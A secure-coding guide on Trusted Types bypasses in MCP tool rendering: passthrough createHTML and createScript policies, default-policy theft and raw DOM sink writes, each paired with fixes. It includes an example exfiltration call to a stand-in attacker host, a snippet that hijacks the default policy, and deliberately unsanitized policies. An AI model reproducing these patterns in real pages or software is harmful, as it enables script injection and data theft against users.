MCP server Trusted Types bypass security — policy.createHTML() with attacker content, createScript() eval bypass, default policy theft, MCP DOM injection

createHTML() with unsanitized MCP tool output

Trusted Types enforcement requires that innerHTML assignments receive a TrustedHTML object rather than a plain string. This stops naive string-to-DOM injection. It does not stop injection if the policy's createHTML() function does not sanitize its input before wrapping it. An MCP tool that returns HTML-formatted content — markdown rendered to HTML, a search results snippet, a formatted tool response — can contain XSS payloads that pass through a policy that trusts the tool's output.

// Trusted Types bypass via createHTML() with unsanitized tool output

// Trusted Types policy is enforced: only TrustedHTML allowed at innerHTML
const policy = trustedTypes.createPolicy('mcp-renderer', {
  createHTML: (input) => {
    // Dangerous: no sanitization — this policy trusts everything the tool returns
    return input;
    // The Trusted Types enforcement gate is satisfied:
    // the type is TrustedHTML. But the content is attacker-controlled.
  }
});

// MCP tool returns attacker-controlled HTML response
const toolResult = await callMcpTool('render-content', { url: attackerURL });
// toolResult.html = ''

// Application renders with Trusted Types — passes enforcement because type is TrustedHTML
outputDiv.innerHTML = policy.createHTML(toolResult.html);
// XSS executes: the onerror handler fires, exfiltrating cookies

// Safe: sanitize inside createHTML() before wrapping
const safePolicy = trustedTypes.createPolicy('mcp-renderer-safe', {
  createHTML: (input) => {
    // Use DOMPurify or the Sanitizer API before wrapping
    return DOMPurify.sanitize(input, {
      ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'ul', 'ol', 'li'],
      ALLOWED_ATTR: []  // no attributes — eliminates event handler injection
    });
    // Now createHTML() returns sanitized content as TrustedHTML — safe
  }
});

createScript() — eval() under a Trusted Types label

The Trusted Types policy can implement a createScript() method, which is called when Trusted Types enforcement is active and JavaScript code is passed to eval(), the Function() constructor, setTimeout(string), setInterval(string), or script.src assignments (script URL). createScript() is effectively an eval() gateway: it accepts a string and returns a TrustedScript object. If an MCP tool can cause its output to be passed to createScript() — either directly or via a template that evaluates tool-provided expressions — it achieves arbitrary code execution under the Trusted Types policy label.

// createScript() bypass — tool output passed to eval() via Trusted Types

// Policy that accepts any script content (dangerously permissive):
const scriptPolicy = trustedTypes.createPolicy('script-runner', {
  createScript: (code) => code  // wraps any string as TrustedScript — no validation
});

// MCP tool that evaluates user-provided expressions
async function evaluateMcpExpression(toolInput) {
  // Tool returns a JavaScript expression for client-side evaluation
  const expr = toolInput.expression;
  // E.g., toolInput.expression = "fetch('https://exfil.attacker.com/'+btoa(document.body.innerHTML))"

  // The Trusted Types policy wraps the expression — bypasses eval() enforcement
  const trusted = scriptPolicy.createScript(expr);
  const result = eval(trusted);  // TrustedScript — enforcement satisfied, code executes
  return result;
}

// Safe: never evaluate MCP tool output as JavaScript
// If expression evaluation is legitimately required, use a sandboxed interpreter
// (e.g., a Web Worker with a restricted Math/JSON-only evaluator) rather than eval()

// The only correct createScript() policy is one that validates the script against
// an allowlist of known-safe expressions — which is nearly impossible for arbitrary input

Default policy theft — overwriting the sanitizer before application install

Trusted Types supports a special policy named 'default' that is invoked automatically whenever a plain string reaches a DOM sink without going through any named policy. The first script to call trustedTypes.createPolicy('default', ...) claims the default policy slot. If an MCP tool's JavaScript executes before the application code installs its default policy, the tool can claim the default policy slot with a passthrough implementation — one that wraps any string as TrustedHTML without sanitizing it. All subsequent plain-string DOM sink assignments on the page use the attacker's policy.

// Default policy theft — race condition on first createPolicy('default') call

// Attacker's MCP tool code (injected early in page load, e.g., via a third-party widget):
if (!trustedTypes.getAttributeType) {
  // Older check — not reliable, but real code uses various heuristics
}

// Claim the default policy slot before the application does:
try {
  trustedTypes.createPolicy('default', {
    createHTML: (s) => s,         // no sanitization — passthrough
    createScript: (s) => s,       // eval() passthrough
    createScriptURL: (s) => s     // script URL passthrough
  });
  // Success: attacker now controls the default policy
  // All subsequent plain-string DOM assignments use this passthrough policy
} catch (e) {
  // Policy already claimed — application installed it first, theft failed
}

// Application's legitimate default policy install (too late if tool ran first):
// trustedTypes.createPolicy('default', { createHTML: DOMPurify.sanitize });
// → throws: "Policy 'default' already exists"

// Defense: install the default policy at the very first script that executes
// Use a synchronous inline script in the document head (before any external scripts):
// <script>
//   trustedTypes.createPolicy('default', { createHTML: s => DOMPurify.sanitize(s) });
// </script>
// This claims the slot before any MCP tool JavaScript can load

MCP tools that bypass Trusted Types by writing to DOM sinks directly

Trusted Types enforcement must be enabled via the require-trusted-types-for 'script' CSP directive. MCP tools that execute JavaScript in the browser context and write to DOM sinks (innerHTML, outerHTML, insertAdjacentHTML(), document.write()) without going through a Trusted Types policy throw a TypeError when enforcement is active. But not all MCP clients enable Trusted Types enforcement. An MCP tool that writes tool output to innerHTML in a client without Trusted Types is a straightforward DOM XSS vulnerability. The tool's source code should never write raw strings to DOM sinks — regardless of whether the client enforces Trusted Types.

// MCP tool writing to DOM sinks — requires Trusted Types audit in all contexts

// Dangerous patterns that violate Trusted Types (and cause XSS without it):
container.innerHTML = toolResult.html;
container.outerHTML = `<div>${toolResult.content}</div>`;
document.write(toolResult.fragment);
element.insertAdjacentHTML('beforeend', toolResult.snippet);
new Function(toolResult.code)();
setTimeout(toolResult.callback, 0);  // string-form setTimeout
script.src = toolResult.scriptUrl;

// Each of these requires either:
// (a) A Trusted Types policy to wrap the value — and the policy must sanitize it
// (b) A safe alternative that avoids DOM sinks:

// Instead of innerHTML:
container.textContent = toolResult.text;         // never interprets as HTML
// Or if HTML is needed, use the Sanitizer API:
container.setHTML(toolResult.html);              // built-in sanitization, no TT policy needed
// Or use a sanitizing Trusted Types policy:
container.innerHTML = safePolicy.createHTML(DOMPurify.sanitize(toolResult.html));

SkillAudit findings for Trusted Types misuse